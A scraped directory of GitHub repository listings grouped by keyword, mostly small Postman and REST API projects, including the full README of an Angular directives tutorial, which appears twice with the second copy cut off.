action, book, books, details, form, host, local, object, objects, reading, rest, restful, route, routes, server, updating 		I made a Crud App using Node.js,Express.js and Mongoose.js. I built out a book Schema for creating,reading,updating and deleting books. Used Express Scripts to create routes that will form the basis for a restful API. Used POSTMAN to perform actions on the routes All the book details were altered as JSON objects. I created and used Google Chrome to confirm the changes made on the local host server port 8080. 1 stars 1 watchers 0 forks
Chigozie391/okadabooks
book, books, laravel 		CRUD laravel API for Okadabooks 0 stars 0 watchers 1 forks
sindhureddy2903/POSTMAN-SCRIPTS
book, books, test, testing, trello 		API testing on real-time books api of trello.com 0 stars 0 watchers 0 forks
AaronHealy117/Book-Catalog-API
book, books, user 		API to which allows a user to create, get or delete books through Postman URLs. 0 stars 0 watchers 0 forks
aliasgarlabs/bookish-octo-fiesta
book, books, list, reading, reads 		Picks 8 books from your goodreads followers and creates a reading list. 0 stars 0 watchers 0 forks
andynhn/java-spring-mvc-demo-books
book, books, endpoint, endpoints, java, method, methods, spring, test 		Add update and delete methods and test the endpoints with Postman 0 stars 0 watchers 0 forks
bobkrstic/React_RestAPI
book, books, file, instruction, json, library, local, rating, route, routes, server, store, stored, struct, test, tested 		CRUD with React.js and local JSON-Server. Adding books to the library with titles and ratings. Data is stored on a local json server and routes tested with Postman. Check README file for instructions on how to start the app. 0 stars 0 watchers 0 forks
cokewolf/Python_Web_Notebooks
book, books, note, notes 		Learning notes on Python, Flask, SQLAlchemy, SQL, Psycopg2, Postman, etc 0 stars 0 watchers 0 forks
kristaeis/REST-API-final-project
account, auth, authentication, book, books, creation, environment, list, lists, reading, test, tests, user 		REST API featuring user account creation and authentication, reading lists, and books - Postman tests/environment 0 stars 0 watchers 0 forks
maxckelly/expressBookApp
attempt, book, books, express, storage, store 		This is my attempt at a basic express book app. It allows you to create a book, store it in a JSON storage. NOTE: The books are created through postman, not on the web. 0 stars 0 watchers 0 forks
obayomi96/bookstore-api
book, books, bookstore, store 		RESFTFUL API - Nodejs Express MongoDB(Mongoose) Postman 0 stars 0 watchers 0 forks
papiuiulia/BooksAppReactJS-CRUD-basic
application, book, books, move, service, services, tool, user 		I created an application in ReactJS with REST services accomplished in Postman(an online tool). The user can add new books, edit existing ones or remove them. 0 stars 0 watchers 0 forks

related (14 listings) (Back to Top)

adamenagy/MyPostmanCollections
collection, collections, environment, environments, related 		Postman related collections and environments 0 stars 0 watchers 5 forks
3lectron/postman-collections
collection, collections, related 		My own postman-related collections 0 stars 0 watchers 0 forks
vijaytestautomation/Performance
automat, automation, facts, form, related, test 		Test Artifacts related to JMETER,SOAPUI and POSTMAN 0 stars 0 watchers 0 forks
Asif-pasha/taskbox
operation, operations, plugin, related, task 		API related CRUD operations using POSTMAN plugin 0 stars 0 watchers 0 forks
avin3sh/postmanHacks
related, script, scripts 		NodeJS scripts related to Postman 0 stars 0 watchers 0 forks
BlueDi/SpringFundamentals
course, related 		Code related to the Pluralsight's course "Spring Framework: Spring Fundamentals" 0 stars 0 watchers 0 forks
dharfleet/SalesforcePostman
file, files, related 		Config files related to using Postman against Salesforce 0 stars 0 watchers 0 forks
komalng/TuringChallenges
api blueprint, asyncapi, data, json schema, oauth, openid, related, sql, storing 		This project is related to NodeJs challenges in which I am using Mysql for storing data through postman. 0 stars 0 watchers 0 forks
kullapareddypranay/task-manager-api
access, manager, related, rest, task 		rest-api ,Use postman or others related for accessing the api 0 stars 0 watchers 0 forks
mobiletta/a-postman-store
content, mobile, related, store 		Repository containing Postman and Newman related content 0 stars 0 watchers 0 forks
shahed2137/ACI_postman
related, script, scripts 		ACI related scripts 0 stars 0 watchers 0 forks
skylauriam/PostmanCollection_AutomationAPI
collection, file, postman collection, related 		This repository has been created to collect all file related to postman collection in CI 0 stars 0 watchers 0 forks
smaretick/API
related 		Postman + API related code 0 stars 0 watchers 0 forks
Tiausa/CloudAPI
account, data, database, form, format, information, party, provider, related, spec, support, supported, test, test suite, user 		Implemented REST API that supported user account using 3rd party providers and account specific information. Used non-relational database to support related entities. Created full test suite using Postman. 0 stars 0 watchers 0 forks

fetch (14 listings) (Back to Top)

alexatiks/keycloak-postman-pre-request
collection, fetch, header, script, token, variable 		Postman pre-request script to fetch a token from Keycloak and set it to a collection variable to use in request headers. 22 stars 22 watchers 10 forks
asmoker/btrackers-postman
fetch, json, list, server, smoke, track, tracker 		btrackers-postman - BitTorrent Trackers Postman, fetch BitTorrent Trackers URL list from ngosang/trackerslist and post to your aria2 server via jsonrpc. 0 stars 0 watchers 2 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
HamedNN76/postman-fetch
collection, fetch, package, postman collection 		A package for fetch from your postman collection easily with name of your request 0 stars 0 watchers 1 forks
bt-dd/Postman_WorkSpace_Downloader
collection, collections, environment, environments, fetch, workspace 		Recursively fetches all Postman collections/environments by workspace using the Postman API 0 stars 0 watchers 0 forks
markande98/RESTful-API
data, database, fetch, list, module, modules, mongo, mongod, mongodb, order, orders, product, service, services 		A RESRful service. A product can be post, update, delete in this api and list of orders can be fetched from the database. I have used mongodb as a database and postman services and a lot of modules in my api. 0 stars 0 watchers 0 forks
aadilkashan/ApiCall-DEMo
data, fetch, fetching 		using Postman fetching data from dict. 0 stars 0 watchers 0 forks
cb-surendra/RestApiDemo
fetch, list, listen 		Rest Api demo create in Node.js also used the postman api to listen the request, post, delete and fetch etc. 0 stars 0 watchers 0 forks
danish-007/top_repos
fetch 		It fetches top 3 repos of the input organization using postman. 0 stars 0 watchers 0 forks
HasanAutomation/Postman
fetch 		This is a postman which can fetch request in both get and post ways 0 stars 0 watchers 0 forks
HirjiHaanee/Test
fetch 		Testing the POSTMAN fetch request 0 stars 0 watchers 0 forks
Hishengs/go-fetcher
fetch 		A Postman-like API Test Tool 0 stars 0 watchers 0 forks
Nyamador/fetchman
browser, fetch, implementation 		A simple browser implementation of postman 0 stars 0 watchers 0 forks
shivang1305/postman_js
data, fetch, web app 		A web app to fetch data from the url provided with the help of REST API 0 stars 0 watchers 0 forks

weather (14 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
Nasrallah-Adel/weather
auth, authenticate, authenticates, city, display, play, service, user, weather 		Weather service that authenticates a user and displays the temperature of his requested city. 1 stars 1 watchers 0 forks
weathersource/postman-collection-onpoint-api
collection, onpoint, source, weather 		The OnPoint API Collection for the Postman App 1 stars 1 watchers 0 forks
AmulyaChen/classScheduler
application, assignment, automat, automatic, automatically, class, content, contents, course, schedule, select, test, testing, updated, user, util, weather 		University project:create an application that will change a course schedule When an application user select the first day of class, the application needs to change the dates in course schedule automatically If a class is canceled due to inclement weather, entire dates should be updated If the class didn’t finish the topics as scheduled, contents of course, quiz and assignment schedule should be updated You may create a separate UI for testing purposes or utilize a Tool like SoapUI or PostMan. You will need to use the latest of: Java 8 Spring Framework MySQL or Maria DB 0 stars 0 watchers 0 forks
amulyachennaboyena/ClassSchedulerUsingSpring
application, assignment, automat, automatic, automatically, class, content, contents, course, schedule, select, test, testing, updated, user, util, weather 		University project:create an application that will change a course schedule When an application user select the first day of class, the application needs to change the dates in course schedule automatically If a class is canceled due to inclement weather, entire dates should be updated If the class didn’t finish the topics as scheduled, contents of course, quiz and assignment schedule should be updated You may create a separate UI for testing purposes or utilize a Tool like SoapUI or PostMan. You will need to use the latest of: Java 8 Spring Framework MySQL or Maria DB 0 stars 0 watchers 0 forks
brodoyoueventest-io/openweathermap
collection, collections, environment, environments, event, test, testing, weather 		Postman collections and environments for testing the OpenWeatherMap API 0 stars 0 watchers 0 forks
dster05/Postman-weather
learn, learning, site, weather, website 		learning to apis for a website project 0 stars 0 watchers 0 forks
javierrcc522/weather-app
script, weather, week 		Javascript week 2 - using APIs and Postman 0 stars 0 watchers 0 forks
legiahoang/apiai-sails
active, data, interactive, weather 		postman make a call to API.AI to interactive with weather intent (hook data from worldweatheronline) 0 stars 0 watchers 0 forks
sabrinakadri/weather
integration, weather 		Testing integration with Postman, Newman and Jenkins 0 stars 0 watchers 0 forks
sgiordano21/weather
promises, weather 		API calls, postman, promises 0 stars 0 watchers 0 forks
sha777/Current-weather-data-IDE
data, weather 		Postman Homework by Vyacheslav Shadrin 0 stars 0 watchers 0 forks
shyamalpunekar/weather-api
script, weather, week 		Javascript-week2-API-Postman 0 stars 0 watchers 0 forks
srhcrete/weather-app
script, weather, week 		Javascript week 2 - using APIs and Postman 0 stars 0 watchers 0 forks

lines (14 listings) (Back to Top)

fullstorydev/grpcui
active, fullstory, grpc, interactive, lines 		An interactive web UI for gRPC, along the lines of postman 701 stars 701 watchers 57 forks
carlowahlstedt/NewmanPostman_VSTS_Task
lines, newman, task, test, tests 		A task for Azure DevOps Pipelines to run newman tests. 0 stars 0 watchers 19 forks
sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would 